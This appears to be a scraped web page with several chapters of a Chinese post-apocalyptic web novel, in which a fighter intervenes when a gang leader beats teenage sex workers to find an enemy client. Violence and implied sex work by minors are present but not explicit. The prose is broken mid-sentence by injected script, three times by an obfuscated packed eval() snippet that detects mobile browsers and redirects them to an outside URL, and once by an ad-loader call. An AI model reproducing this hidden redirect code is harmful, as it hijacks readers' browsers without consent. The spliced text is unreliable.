有人回应那紫蝎。那紫蝎与回应的人联手,很快将孤狼射杀。 来的三只狼都死了,但蝎子还没发出此战结束的信号。 听着从各个方向隐约不断传来的枪响、狼嚎和惨叫,零散分布的紫蝎们再次陷入等待,于晦暗灯光中嗅闻夜风里若有若无的血腥味。 三分钟,五分钟,十分钟,半小时……没有新的变异狼从林中走出。无人机变换为机翼嗡嗡作响的模式。 不久,几个黑蝎开货车来收拾残局。 时却这边的尸体比较集中,车便先来她这里。 一个黑蝎在终端上操作一番,大声播放自己的声音,将紫蝎们聚在一起,问清三只狼尸的归属,一一登记。 时却说到做到,报上沈司奥的名字。 出乎她意料的是,在场紫蝎里真没人对沈司奥感兴趣,听到他名字,抬眼皮的都没几个。 只有人嘴里小小声含糊地嘀咕了一句,只听得清“大妹子”、“糊涂”、“小白脸”几个字眼。 ……还是不要细听比较好。 登记环节结束,接着是搬运尸体。 有个黑蝎嘿嘿坏笑两声:“这车这趟专门用来运尸体的,屏住气哦。” 货车后门打开,一股难以言喻的气味扑面而来,把距离最近的紫蝎冲得直皱眉。 车厢里血迹斑斑,脏污一片,几个纠结成团的动物皮毛随着车门打开的动作,在车厢的一角轻飘飘飞起,又晃晃悠悠下落。 黑蝎们动作娴熟,也不似老金那般讲究,几人合作,依次将两头狼尸的脑袋和腿一提,再一甩,闷响过后,两头狼尸便入了车。 如法炮制,他们改换地点,把剩下的孤狼尸体也整上了车。紫蝎们没什么兴趣跟车跑,在原地站着,看这一切。 轮到被咬死的倒霉紫蝎时,一个黑蝎跑到车头扯出个防水收尸袋,将人装进去,同样是一提一甩,丢进车厢里。 时却这边,一个紫蝎在身上摸出根烟,朝旁人借了火,叼着滤嘴抱怨:“活着跟这些玩意斗,靠这些玩意吃饭,死了还得和它们睡一个包厢。” 被借火的紫蝎收了打火机,拍拍衣服,没头没脑冒出一句:“我知道这变异狼爱袭击人,也猎过几匹。它们今晚格外勇,格外暴躁。” 抽烟的紫蝎一拍脑袋:“你,哦,是你,幸运的倒霉蛋。” 那被借火的紫蝎,是第二个被那匹孤狼盯上的家伙。 “我差点也躺车厢里了,”被借火的紫蝎苦笑,“你们没看清,我离得比较近,瞧得明白,那狼和平时差太多了,不光暴躁,行动也快很多,和受了什么大刺激似的。” 显然,这紫蝎是个老猎手。 时却开口:“你那边的那头狼,受伤了吗?” 被借火的紫蝎没太在意。“身上有一圈被燎过的痕迹,不致命。你那两头不也是吗?伤在腿或脖子上的。” 也许因为受了伤,变异狼们才这么暴躁?时却说出自己的猜想。 被借火的紫蝎哈哈大笑。 “大妹子,你打是很能打,经验还是得攒攒。狼才没那么娇气,那种被当场打断腿的,都能和人周旋好久,何况这么点小伤?” 抽烟的紫蝎倒是若有所思:“可能因为受伤,这三匹狼才脱离狼群行动。不过……大妹子,你那两头狼身上,那种跟被硫酸泼了一样的环形伤口,我的确是第一次见。难道附近出现了新的变异生物?” 时却继续追问,区外的人碰到这种情况,一般都会怎么做。 这回,连抽烟的紫蝎脸上都露出笑意。这紫蝎重新掏出烟盒,爽朗地给在场人各塞上一根。 “妹子,我们这种刀尖上舔血讨饭吃的,能怎么办?等着看会不会遇到那新鲜玩意,然后赌命呗,命好,全须全尾活下来,赚一笔卖它的钱,运气不好,横竖死,或者生不如死嘛。” 抽烟的紫蝎说完这话,除时却和沈司奥外,其余紫蝎也笑。 借这个氛围,众人漫无目的地聊起来。 时却这才知道,除最开头死掉的那个最倒霉的紫蝎外,身边还活着的紫蝎们无一例外,都是以区外狩猎为生的老猎人。 这些人之间没有相交的关系,只彼此多少脸熟。也正是因为这个,最初被借火的紫蝎嗷嗷求助,才会被快速响应。 紫蝎们又侃了好一会叫时却听得津津有味的狩猎技巧和趣事,才散去。 时却和沈司奥找回停放在附近的摩托,计划先去兑换处把两匹狼的钱换到沈司奥账上,再到集中休息处找个地方搭帐篷,好好休息一晚。 路上,沈司奥忽然没头没脑道:“吃人最短,拿人手软。” 时却晓得他在说什么,耸肩总结:“鬼知道壁虎哪找来那么些老实人,一个垂涎你的都没有。他这是萝卜和大棒一起上了。” * 等他们到了兑换点,最先注意到的是旁边的医疗点堪称热闹非凡,闹哄哄混作一团。 医疗点负责维持秩序的黑蝎扯着破锣一样的嗓子,先喊:“来几盏灯,帮这快排到治疗仪的断臂倒霉蛋找找胳膊被挤到哪去了!”再叫,“来个人啊,这台治疗仪都给死人长半天肉了,浪费不浪费?” 兑换点这边的秩序倒还好,不需要十万火急冲进医疗点挣命的紫蝎们纷纷伸长脖子,排队看热闹两不误,和医疗点形成鲜明对比。 时却想到白天井然有序的用餐处,随口道:“怎么蝎子不整点战斗型仿生人过来?” “那就太复杂了,”沈司奥接话,“你和缓冲点里的战斗仿生人打过交道了没?” “打过。” “什么印象?” ……一根筋的木头。 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482534|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却腹诽,将中午的遭遇简单讲出。 沈司奥肯定地说:“恐怕蝎子给战斗仿生人的命令是统一的,即攻击一切有暴力行径或试图阻碍自己巡逻的人。” “其实,这是比较正确的战斗仿生人的用法,”他补充道,“对于战斗仿生人来说,设定,或者说指令,需要越简单越好。不需要给战斗仿生人构建太多且太复杂的判断逻辑。” “你想,拥有简单判断逻辑的战斗仿生人在黑街,解压好去处这种地方,能很好地遏止人与人之间发生肢体冲突,但在医疗点这种地方……” 不远处的人群中,熟悉的黑蝎的崩溃声音继续。 前一句:“摁住了都他喵的给我把这个要接小弟弟的摁住了啊啊啊!” 后一句:“我靠怎么还有个吃东西卡住窒息的,给老娘递把匕首或者削尖的铅笔!快去!!”。 时却懂了。 “呃,想教会战斗仿生人判定肢体冲突和救助行为,比较难?” “不光如此,”沈司奥道,“只要牵扯上社会化和感性判断,训练和维护都会变得很麻烦。不止战斗仿生人,情趣型仿生人,侦查型仿生人,都一样。” 时却刚要说什么,一点不远不近的抱怨声钻进耳朵里。 “唉你这个小姑娘,着急忙慌干什么……” “让开!” 这会,时却和沈司奥在队伍的中后段。如同橡皮擦过,出现在抱怨后的“让开”二字,透出股熟悉感,让她一时忘记准备说些什么。 时却歪出身子往后探。时隔十几个小时,她再次看到流萤。 少女的脸颊异常地红,额头和侧脸上挂有汗珠,反射出一点细微的光,长发随意绑在身后,因急速跑动加上静电,呈现出有些毛躁的状态。 流萤气喘吁吁,弯着腰,脖子上挂着的粉色蝎子卡垂下来,在胸前来回晃动。 她把双手撑在两膝盖上大口大口地呼吸,上气不接下气:“四、四千!” 立刻有紫蝎喊道:“什么活儿?” “挺肥啊。” “说说看,小妹妹!” 流萤咬下嘴唇,看上去像是被只无形的手扼住喉咙。 她情不自禁地摸了摸脖颈处,咽了口口水,直到察觉有人发出不耐烦的催促,才语调发抖道:“解压好去处,帮忙解决可能发生的……肢体冲突。” 无论兑换的队伍还是围在医疗点外吵闹的紫蝎,有一瞬间,没人开口,仿佛一枚名为“寂静”的炸弹突然于众人之间炸开。 “解压好去处绝对被布置了战斗型仿生人,”沈司奥小声道,“按理来说不会有人傻到动粗——” 有个紫蝎乐了,哈哈笑道:“小妓/女,有朋友惹到蝎子的哪个高层啦?大当家?二当家?你跑来这儿,就拿那点钱,打算想找哪个脑子不好使的送死去?” 沈司奥皱眉,飞快补完被打断的话: “——但,蝎子的战斗型仿生人体内支持设有例外名单,上面全是蝎子的高层。比如壁虎,他在战斗型仿生人面前,别说动粗,杀人都没问题。” 流萤深吸一口气,双眼中折射比身旁数盏人造灯还明亮得多的愤怒,尖锐而愈发大声地说:“就是蝎子的二把手,壁虎!” 33. 仇怨 这话落到地上,原先调笑流萤的紫蝎露出“果然如此”的表情。 “你来这里没用,”紫蝎言简意赅,“回去吧。” 有人面露怜悯,好意道:“你不如去黑街,买点伤药或租个推车,等壁虎出完气快点把人拉过来疗伤。” “只带人的话,我干,”还有人大大咧咧地说,“一百怎么样?送到这如果断气了,给你打对折。” 在这七嘴八舌的话语中,流萤浑身发冷,双手紧攥成拳,指甲深深嵌入掌心,却感觉连痛楚也似隔了层纸般,迟钝且麻木。 对她出声的几个紫蝎数秒等不到回应,耸肩作罢。原先被吸引注意力的其他人,看事情差不多尘埃落定,均司空见惯地移开目光。 时却见流萤今天也没穿得很厚实,嘴唇很快冻得乌青,似犯倔又似出神般杵在原地,不由得抓了抓脸。 “你认识她。”沈司奥以肯定而非疑问的语气说。 “她是流萤,我以前和你提过。” “你……”沈司奥上下打量时却,这回倒是不怎么确定了,“想帮她?” 时却没应声。 过了几秒钟,她拉过排在自己身后的一个穿得厚实的女紫蝎,和对方低语几句,加了终端好友,东掏掏西摸摸,塞出好几卷现金给对方。 那女紫蝎点点头,脱下外套,搭在胳膊上,离开队伍,从另一个方向接近流萤,和她说了几句话。 流萤先是眼神一亮,又很快黯淡下去,接过女紫蝎的外套披在身上,勉强笑了笑。人还是戳在原地没动。 看女紫蝎功成身退离开,却又没走太远,而是就在流萤附近一个不起眼的地方藏着,沈司奥无奈地说:“你雇了她多久?几个小时?一整晚?我猜你身上一毛都不剩了。” 时却看他一眼,视线又撤开,耸肩:“再挣呗。” 沈司奥拿舌头顶了顶上颚内壁。 鬼使神差地,他说:“兑换的事情不急,你想过去和她说两句的话,我们一起去。” 时却打量沈司奥,发现他是认真的。 ……其实对于流萤,她的心态很微妙。 虽说神清气爽和两头狼干了一架,如今再看脑子里的“记忆”只好似欣赏电视剧那般分得很开,但说到底……她只是性格和脑子里的“过去”格格不入,再加上一个刚刚基于“锚点”设定而发觉的,可以把战斗列为爱好的特性。 她的大部分三观还是基于脑中的“记忆”,暂时没有想要去更改的打算。 也正因此,既然她与流萤相处过几个小时,在短暂的时间里见过对方的诸多模样,又亲耳听流萤讲述过自己的私事。 那么……人之常情,这种得知,让流萤对时却而言不再是陌生路人。 流萤是睁眼来到这个世界后,和时却第一个打交道的同性。 在大街上,如果看到一个忘记带伞的陌生人湿漉漉地行走在暴雨中,绝大部分人即使自己撑着伞,也会视而不见地路过。 那如果将这个陌生人换成机缘巧合下,打过交道的人呢?绝大部分人中的绝大部分,至少会有所动作,或会有所纠结了。 同理,要说时却想不管不顾沈司奥,不由分说地上前帮助流萤,她没这样的心思。 要说她完全无动于衷,也不可能。 只她没想到,沈司奥这么积极主动地递了个梯子过来。 如同决定面对杀了男孩的混混一群人时那样,沈司奥再次作为一股外力,轻柔地推了她一下。 “确定吗,老板?”时却懒洋洋道,“我可不知道自己会做出什么事情,说不定会抛下你和好看的小姑娘跑掉。” 沈司奥推推眼镜:“第一,你想跑,我拦不住。第二,看你怎么和别人相处,挺有意思。” 他说的隐晦,时却听懂了。眼前这个机械师,燃起了求知欲,想观察她。 还蛮闲的。 既然老板都这么说了,时却拉着他来到流萤边上。 流萤见是她,整个人一呆,下唇微微颤动,脸颊泛起一丝血色,忙伸手来抓:“姐,求求你,帮帮我!” 时却没避开流萤的手,任她如抓救命稻草般抓住,没摇头也没点头。“我不一定帮忙。你先说是什么事。” “很急的话,看看要不要边走边说,”沈司奥补充,“如果你觉得……还想待在这里等等看有没有别的紫蝎接下这件事情,就在这里讲。” 流萤环视周遭一圈,咬咬牙,眼圈微红:“走!” * 时却和沈司奥的摩托停在兑换点附近,时却找了之前和她做交易的女紫蝎,让对方将摩托和二人身上不算重要的物资送去老金那,只还留一个越野背包背在沈司奥身上,里面装着沈司奥的便携工作台。 往解压好去处的路上,时却得知,被壁虎找麻烦的是细雨。 “十几分钟前,壁虎的一个手下点了我们那一个男孩的单,酒醉后告诉他的,”流萤道,“说壁虎脸色很不好,估计处理完手头上的事情就要到解压好去处找细雨。” 时却发蒙,万万没想到壁虎一个蝎子二当家,能和细雨有仇怨。 “你们老板不管?” “为什么?” 沈司奥和她几乎同时发问。 流萤苦笑:“如果换做其他人,老板一定会管,壁虎……老板不主动把细雨捆了送到壁虎的帐篷里,算有良心了。” 说完,顿一下,继续道:“壁虎想找一个和他有仇的嫖客。这不是第一次了。那个嫖客很警惕,每次壁虎都只能抓到疑似和那个嫖客有过交际的人,然后把火撒在那些人身上。这次……是细雨倒霉。” 流萤这后半段说得含糊。 时却抓抓头,在心里叹了口气,拽沈司奥一下,两人不再往前。 原本先他们半步领路的流萤不得不也跟着停下,眼神闪烁。 “听上去壁虎还挺变态的,一定会胖揍每个和仇人有关系的家伙。”时却道。 流萤身体一僵,听出时却的话外之意,等反应过来,双手已情不自禁地就近各抓了一块衣服的布料,搅拧起来。 “我、我说谎了,壁虎一般不会那样,太多余了。壁虎的目的,从来都是顺藤摸瓜,抓到和他有仇的那个嫖客,”她苦涩地说,“只是细雨他迷上了那个客人,他不会出卖那个客人的。他闭口不提,就会惹怒壁虎,壁虎没那么好耐性。” “细雨他和我一样,是III型辐射病患者,被壁虎……可能等不到治疗仪就会死。” 时却这才抬脚往前,让流萤继续说。 简单来讲,那个疑似壁虎仇人的嫖客,是细雨的第一个包月客人。包了他三个月,前几天刚刚结束。 听细雨说,不管床上还是床下,对方都待他不错,还说要给他赎身,只是最近手头紧,周转不开,一旦灵活了,立刻来带细雨走。 解压好去处包人的规矩是,被包期间,只需要接待那一位客人就行。因此,对于细雨迷上包月客人这件事,流萤没往心里去。 “毕竟我也有过他这样的阶段。”流萤轻声道。 “觉得‘太好了,终于得救了,这位客人是特殊的’。我想着,等这位客人玩腻了离开,下一个客人玩腻了离开,再下一个客人……他就会明白了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508968|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白自己不过是个玩物,一个可以被随手抛弃的玩具。 流萤没想到,细雨为那个藏头藏尾的客人深深地着魔。 一听对方说自己周转不开,他甚至想要减轻对方赎买自己的压力,逼自己接了很多原来根本不会做的活。 明白这个情况后,流萤想把他从这个不现实的美梦中摇醒,可无论她或身边的人怎么劝或骂,举例子,细雨走火入魔般,统统不听。 事情就这么发展到了如今的地步。 时却揉揉额角:“除了细雨,没人知道那个嫖客的情况不成?” “甚至连是男是女都不知道。那个嫖客让细雨把自己的终端加密了,输错一定次数密码就自毁数据。” “细雨在哪里?” 流萤担忧道:“半个小时前,他随一位客人走了。我给他发了消息,让他想办法躲一躲,不知道他会不会听。” 她这话说的奇怪,趋利避害是生物本能,时却不理解,如果细雨得知会被壁虎找麻烦,为什么还会返回解压好去处。 时却这么想,也就这么直白地问。 流萤露出一个像比哭还难看的笑容:“细雨是个好孩子,他不会想连累其他人。” 总之话里话外的意思是壁虎不仅暴虐,还擅长连坐。 时却摸摸后脑勺,倒不知道壁虎有这一面。 “姐,你不知道,壁虎他真的——” 沈司奥叹口气,示意流萤不必再说,直白道:“你讲的她没概念。她知道的壁虎,不是面对你们时的壁虎。” 话说完,解压好去处到了。 如果说缓冲点的黑街地摊成片,那解压好去处这边就是遍布间隔聚在一块的帐篷。数个战斗型仿生人在簇与簇帐篷间巡逻。 流萤带时却和沈司奥娴熟地绕来拐去,在这些帐篷之间穿梭。 一簇帐篷里,有大有小。 大帐篷敞开门帘,等待客人的男女堆着笑脸坐在里头,至少一名的战斗型仿生人冷着脸持枪值守。 小的帐篷门帘紧闭,不时有男女将客人从大帐篷引到小帐篷里。 那些小帐篷内不知作了什么消音处理,只有靠的极近,才有模模糊糊的暧昧声音隐约传出。 三人望到一个贴着“奇趣泡泡浴”名字的大帐篷外。不知为何,它门帘紧闭。见状,流萤的脸色愈发紧张。 等靠近后,时却让流萤和沈司奥退远些,一把掀开厚重的门帘。 ……犹如戴久了的降噪耳机突然失灵,哽咽声和被压抑的尖叫拧成一股无形的气浪,如同封印被解除的幽魂般,从门帘被掀起的那一角钻出。 帐篷内,几个少男少女挨挨挤挤地缩在一个方桌下,个个面带惊惧。 方桌的一角上有血迹,数个椅子东倒西歪在桌边,还有瓜果小零食什么的散落了一地。 细雨没在桌下,面色惨白地扑在一个男孩身上。 那男孩处于昏迷状态,仰着面,脖子处被人掐红,脸色呈不正常的浅红,面部浮现有细小的红斑,额角破开一个大口,血从脸上歪斜淌下。 帐篷的内顶自带柔黄色的照明灯,幽幽光亮下,那男孩左耳耳垂上的红锆石反射出一点明艳光泽。 壁虎站在帐篷中央,旁边是无动于衷的战斗型仿生人,见时却掀开门帘,抬眼瞟她一眼,不甚在意。 壁虎举起右手,往小臂上看,那里的某处皮肤上,留有一圈浅浅的牙印。 “你的朋友很讲义气,也很有胆量。”壁虎冷淡地说。 “解开终端,回答我的问题,我带他去找治疗仪。否则,我剁你两只手,敲掉他所有牙。” 34. 策略(半章) “细雨。” 细雨发着抖要去摸身边男孩头上那道凹下去的血坑,即将碰到时,又像触电似的一下收回手。 时却舔了舔嘴唇,不得不用更大的音量再叫一次。 “细雨!” 似受惊的猫般浑身一颤,细雨循声抬头看向帐篷的门帘处。 时却将门帘拉得更开些,让他看到流萤。“蝎子的二把手问话,”她暗示道,“你总该说点什么。” 无论细雨打算给出怎样的回答,在壁虎下达最终通牒后,一言不发肯定是最下策。 细雨咬咬嘴唇,看着身前满脸是血的男孩,小声道:“我、我什么都不知道。那个客人来找我,一直带着变声器说话,我、我连那个客人是男是女都不知道,真的……” 很好,时却想,虽然有点离谱了,不过总比一言不发好。 砰! 在帐篷内其他少男少女的一片惊叫中,壁虎扯扯嘴角,抽枪,枪口斜向下,一枪打在细雨面前两步远的位置。 “你接客的时候用的哪里,自己不清楚?” 他手腕微动,枪口微调,似是准备对细雨的肩膀开第二枪。 留意到此,时却也下意识抽出匕首。 她正考虑要不要飞出去打壁虎的手,没想到,细雨抖着嘴唇,泪珠大颗大颗顺脸颊流下,急促地抽噎几下,结结巴巴道: “都、都用……那个客人,好像改造过自己的身体,男的女的,都移植了……” 时却和壁虎双双一顿。 “二把手,你刚才问的我真的都不知道,我不知道那个客人长得什么样,”细雨肩膀抽动,“客人每次都戴面具,还灌我酒……” 时却突然感到上衣的右部微微往下坠。 流萤紧张地抓着她的外套一角,白皙的双手被冻得青紫,手背上的血管道道分明。 少女细瘦的左手腕上,带有“流萤”二字的金属片反光,令人晃眼。 和初见时那样倔强,少女仰望她,微红的眼眶中包了些泪水,迟迟不肯落下。 时却抽出被攥得皱巴巴的衣角,扭头穿过帐篷内凝滞的空气看一眼壁虎,再转回来瞧沈司奥。 沈司奥会意,拍拍流萤的肩膀,示意流萤跟在身后。走过时却撂着的门帘,他和流萤一齐进入帐篷内,于出口边上找了个位置站好。 壁虎视线划过沈司奥,落在时却身上。 时却走到细雨和那耳钉男孩前,挡在他们和壁虎之间,手持进入帐篷前预先抽出了的匕首。 壁虎身边,全副武装的战斗型仿生人的目光粘在她持械的手上,匕首动,目光也动。 “别来掺和,”壁虎皱眉,压下枪口,“离开,我当没见过你们三个人。” “壁虎,让我和细雨聊两句。” 时却道,她用的祈使句,不是陈述句,甚至不是疑问句。 每个字平静地,从她的嘴里被一个接一个地扔出来。 似乎,她这个举动可以被称之为玩火,或被称作某种挑衅作态,又或者更直接点说,可能立即激怒壁虎。 不过在来的路上,当沈司奥说出“她知道的壁虎,不是面对你们时的壁虎”,时却就想好了。 这也许才是她和壁虎交涉的正确策略。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546599|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我和细雨聊两句。”她平静地盯着壁虎的眼睛,再次重复。 一秒。两秒。三秒。 在多道惊诧目光下,壁虎响亮地啧一声,把枪插回腰间,双手抱臂,回应了时却提出的要求。 “一分钟,”他说,“然后给我个交代。” 她赌赢了。 时却不禁用眼角余光看了一眼沈司奥。 “她知道的壁虎,不是面对你们时的壁虎”,这句话共计十七字,这十七个字跟下饺子似的,从她的记忆里扑通扑通掉出来,转变为一个又一个碎片,拼成此时的情景。 壁虎要剁细雨的两只手,要敲掉耳钉男孩的牙。也是这同一个人,时却的匕首在他眼皮子底下反着光,现在还没收起来呢,他的枪口反倒垂下了。 ……为什么? 她和沈司奥结伴同行,他尚对沈司奥有所求,是其中一个因素。 除此之外,很重要的原因是,她有不可忽视的武力值。基于这武力值,她自然拥有特权。 这个世界早向时却展示过它这一套冷酷的运行法则。 它写在沈司奥对来历不明的异常仿生人发出的邀请里,藏在流萤想争一口气就不得不拿救命钱雇佣他人找混混麻烦的叙述中,浮在草莓味水果硬糖的表面上,显在界碑下的麻袋被反复碾压时渗出的血迹里。 所以,时却想,它也应当会在壁虎的行动里得到贯彻和宣扬。 她赌赢了。利用它,她完成了一次……社会实践。 对于弱势群体,壁虎能轻易成为一个掌控生死的恶魔。而对于时却,壁虎的枪口势必垂下,无法轻易抬起。 35. 天平 帐篷内,躲在桌子下面的少男少女们纷纷安静了,沉默地看向细雨和耳钉男孩的所在方向。 只有细雨一个人在哭。他越哭越大声,越哭越厉害,边掉眼泪边抽噎,手捂在胸口上,赫哧赫嗤地喘气。 时却一心二用,边默默计时,边蹲下身,引导他控制情绪。 靠近后,她嗅到一股清爽的沐浴露香气。 “呼吸,”她数着节拍道,“呼,吸,呼,吸……” 细雨涨红着脸听从。 由于哭得厉害,他的体温不可遏止地上升,发热的身体烘烤着肌肤,不过几息,时却的鼻腔里为沐浴露的香气所占满。 ……和那股香气形成鲜明对比的,是于细雨眼底铺开的,沉甸甸的恐惧。 无疑,那恐惧笔直地指向壁虎。 毕竟他低头,是头破血流的同龄人,抬眼,又不可避免地入目制造这一切的罪魁祸首。 十多秒后,细雨的抽噎频率稍有下降。 取而代之,他上下牙齿似有了自我意识般,不断地相碰,一下又一下。 细雨怎么也控制不住了。他害怕得牙齿打颤。 他的右手摁在左手手腕上,右手掌下即压着壁虎的目标之一——他的终端。 时却留意到,和白天中午所见的着装不同,细雨换了套细看就会很显得他年纪小且可爱的冬装。 这冬装整体很新……除了上衣的几颗扣子不翼而飞了,下装的膝盖位置颇有磨损。 细雨的身上还沾了些摔跤痕迹:两根婴儿小指般粗细的枯枝,三小截不成形状的草径,几点泥土粒,一些灰。 此时,距离壁虎的一分钟期限,过去三十三秒。 “跑回来的?”时却问。 这话没头。可,时却想,她总不能这会直白地问——“刚接完客后看到消息,就急匆匆跑回来的吗?” 有的事实甚至不能被开口讲述出来,否则这叙述本身就能成为一把利刃,一把刮刀。 接连打上几声嗝后,细雨抓到一个勉强可以说话的间隙,带着浓重的哭腔小小地嗯了一声,以做回答。 时却晓得,到了该做决定的时候。 她低头垂眼,如此还莫名觉得不够,索性闭上眼睛。 幽深的帷幕降下来,她进入黑暗的世界。 在有些乱了节拍的心跳声中,她进行计数。 五十秒。五十一秒。五十二秒。五十三秒。 第五十秒,她想的是,自己很够意思了,她甚至为流萤花光了身上的钱,多少能入围感动末世奖。 第五十一秒,她想的是,都发觉自己有作战斗狂的潜质了,战斗狂和冷酷无情大姐姐难道不应该是绝配吗? 第五十二秒,她想的是,再进一步,太不值得,傻比才做这种注定赔了夫人又折兵的买卖。还有,沈司奥那边会很麻烦…… 第五十三秒,她想的是,流萤给她的委托是解决可能发生的肢体冲突,之前她做的很好,现在,她可以借机打晕细雨了。至于那个神秘客人,哈……一听就是…… 第五十四秒,她没能再想下去。 空气的流动被什么人的什么动作搅乱,她不得不睁开眼。 细雨跪在地上。他抱耳钉男孩的上半身在怀里,成色很新的上衣蹭脏了,都是血。 他解下了左手腕上的智能终端,顺从且乖巧地,递到时却面前。 智能终端的表面是亮的,处于解锁状态。 “对不起,姐……” 细雨抽噎着,含混地道歉,眼泪鼻涕流了一脸,看上去一塌糊涂。 ……时却都不知道他为什么要说这话。 ……谁摸黑走在一片坎坷的山道上,摔了个鼻青脸肿,还有责任对脚下的坑讲对不起啊? 她睁大眼睛,像被谁隔空扇了一巴掌。 第六十秒,她接过那个智能终端,虚虚握在左手里。 壁虎不是仿生人,对时间的感知没这么精准,没有第一时间察觉到他给出的期限到了。 第六十三秒,时却站起。 “很守时,”壁虎眯了眯眼睛,对她的背影说,“我正好默念到一分钟。” 时却转身,过程中,顺势抽出别在腰上的手枪,枪口向下。 大概出于时却仅仅只掏出了支枪,壁虎边上的战斗型仿生人尚无法判定什么。 他没有特别的动作,还是和时却此前持匕首那样,只盯她的一举一动。 抽枪瞬间,时却的身体就条件反射性地做好了预备。 她听到体内血液奔流的声音;这些液体——当然,她心知肚明,更准确的叫法应该是导液或润滑液——在她体内迅速滚烫地冲来涌去,刺激每一根神经收缩,每一块肌肉鼓胀,叫她如果想,能下一个呼吸后便立即进入高效战斗的状态。 转身的动作完成,时却看到位于她正面的,壁虎的脸。 壁虎的瞳孔中,映出一名她自己。因是瞳孔倒影的关系,她的身形变了形,细细的,面目模糊,看不清五官,看不清神态,如同一只飘游世间的,没有定型的幽灵。 壁虎很强壮,可不是无法解决的那种强壮。 解压好去处的好手不多,还都在嫖。一路走来,黑蝎也不多。 帐篷里的战斗型仿生人肯定要对付的。那外头的呢?不知道会不会一拥而上。 一时间,时却的脑子里,咿咿呀呀地,许多可行方案血呼啦渣地跳出来,蹦出来,砰砰砰砰落地,张牙舞爪,横冲直撞。 而作为在不少“可行方案”中扮演着重要角色的壁虎,他刚对上时却的眼睛,就不由得一愣。 时却好像……失神了。 而他,他首次留意到,这个他以为不知怎地还涉世尚浅、散发着一点天真气的战士,她的瞳孔如此地深且黑,无机质,有种外界的光即使打了进去,也会如同油无法滴入水中那般立即滑走的意味。 这双眼睛,还无故让他联想到十三区的隆冬深夜,以及……某种渴血的烈犬。 无由来地,壁虎的腮帮子发酸;随即他发现,这是因为自己不知什么时候,下意识绷紧了咬肌。 ……为什么,他会这样做? 一丝极富警告意味的恶寒爬上壁虎的后脊梁。 可单从体型上看,他比时却强壮、高大。单从战斗经验上看,时却很好,很有天赋,但显然初出茅庐,尚无丰富的战斗经验。 是的,是的,是的。 他的胜算颇大。他不会是一只被嗜血猛兽盯上的羔羊,一尾躺在砧板上撅尾的鱼。 壁虎冷静下来,凭借经验强压下那一丝恶寒,陷入思考。 他在心里做出了多个预案,压下的枪口微动,最终还是未抬起。 因为在这些预案里,充满了类似,“如果”、“可是”、“不值得”、“很麻烦”之类的,象征着他不想轻易支付某种代价的词。 所以,时却有了决定,他也有了。 他决定等待时却动作。 时却没让壁虎等很久。 她左手腕微动,把细雨的终端扔向半空。 抛物线式地,终端往半空中飞,往壁虎的所在去,行至顶点时,蝎子二把手的眼中,俨然浮动出赞许之色—— 咔哒。 时却打开手枪的保险,黑洞洞的枪口上扬,径直对准壁虎的一条腿。 和她一同动作的,还有帐篷里的战斗型仿生人。 背带滑动,保险格拉,仿生人手中的步枪,指向她的心脏。 时却视若无睹。 “东西给你,人,他也回答你的问题了,”她轻声说,“时间不早了,壁虎。” 壁虎不自觉摩挲了一下手中枪的枪把。 时却了然他在做什么。还是那个规则,他正在衡量。 她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看到,壁虎的前方有一把无形的天平。 他把时却小人放在天平的一端,把细雨小人放在另一端,再将细雨和他仇人存在关联的可能性,酌情揉吧揉吧,加在细雨小人所在的天平端。 他退后了一步,等待天平臂中止摇晃。 时却甚至幻觉般的,听到了那天平臂摇晃的声音。 吱吱呀呀,上下上下。 “说起来,还要谢谢你今晚特意把我和沈司奥安排到偏僻角落。” 她直勾勾地看着壁虎。 “可惜我们运气不太好,还是碰到了两只变异狼。” 壁虎在嘴里滚了一遍这个数字。 “两只?”他微微挑起眉头,有点惊讶地重复道。 时却点头,再次肯定。“两只。” 天平的,吱吱呀呀的声音渐渐小了。 上,下,上,下——停。 天平臂止住了摇晃。 时却看到,属于她的那一端,重重地垂下,属于细雨的那一端,高高翘起。 壁虎利落地收枪。正如他曾利落地决定要剁手拔牙那样。 “如果有需要,我会再来找你,细雨。” “你找不到他时,就来找我,”时却道,“我喜欢这孩子,也许他会在我这里。” 她压下枪口,重新上好手枪的保险。 随着她的动作,战斗型仿生人也一阵捣鼓,回到木头似的站桩状态。 壁虎朝她略一点头,掀开门帘离去。 他走后,帐篷内凝滞已久的空气重新流动,原本躲在桌子下面的少男少女们七手八脚地爬出来。 时却以为,他们中至少会有胆小的家伙,将在放松后哇哇大哭。 没想到,所有的孩子都像约好了似的,统一沉默地看了她几秒钟,接着各做各的,干起活儿来。 